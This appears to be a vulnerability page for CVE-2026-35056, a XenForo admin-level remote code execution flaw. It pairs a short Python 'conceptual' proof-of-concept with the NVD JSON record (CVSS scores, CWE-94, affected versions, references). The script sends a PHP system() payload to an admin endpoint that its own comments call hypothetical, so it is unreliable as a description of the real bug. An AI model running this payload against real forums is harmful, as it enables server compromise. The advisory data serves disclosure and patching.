CVE-2026-35056

import requests # This is a conceptual Proof of Concept for CVE-2026-35056 # It demonstrates how an authenticated admin might exploit the RCE vulnerability. TARGET_URL = "http://target-xenforo-site.com" ADMIN_USER = "admin" ADMIN_PASS = "password" session = requests.Session() # 1. Login to get admin session login_data = { "login": ADMIN_USER, "password": ADMIN_PASS } login_resp = session.post(f"{TARGET_URL}/login/login", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() print("Logged in successfully.") # 2. Send payload to vulnerable admin endpoint (Hypothetical) # Assuming the vulnerability allows code execution via a specific parameter payload = { "option_value": "system('whoami');", # Malicious PHP code "_xfRedirect": "/admin.php" } exploit_url = f"{TARGET_URL}/admin.php?options/update" resp = session.post(exploit_url, data=payload) if resp.status_code == 200: print("Payload sent. Check response for execution result.") else: print("Exploit failed.")

{"cve": {"id": "CVE-2026-35056", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:41.593", "lastModified": "2026-04-01T18:55:19.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.3.9 and before 2.2.18 allows remote code execution (RCE) by authenticated, but malicious, admin users. An attacker with admin panel access can execute arbitrary code on the server."}, {"lang": "es", "value": "XenForo anterior a 2.3.9 y anterior a 2.2.18 permite la ejecución remota de código (RCE) por usuarios administradores autenticados, pero maliciosos. Un atacante con acceso al panel de administración puede ejecutar código arbitrario en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.18", "matchCriteriaId": "78F0F9B0-9777-4266-83FF-74BEF672AAE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.3.9", "matchCriteriaId": "F317C8A1-B2B0-4C3C-AFEE-8B1050F38744"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-remote-code-execution-via-authenticated-admin", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-3-9-inc-xfmg-2-2-18-released-security-fix.235659/", "source": "[email protected]", "tags": ["Release Notes"]}]}}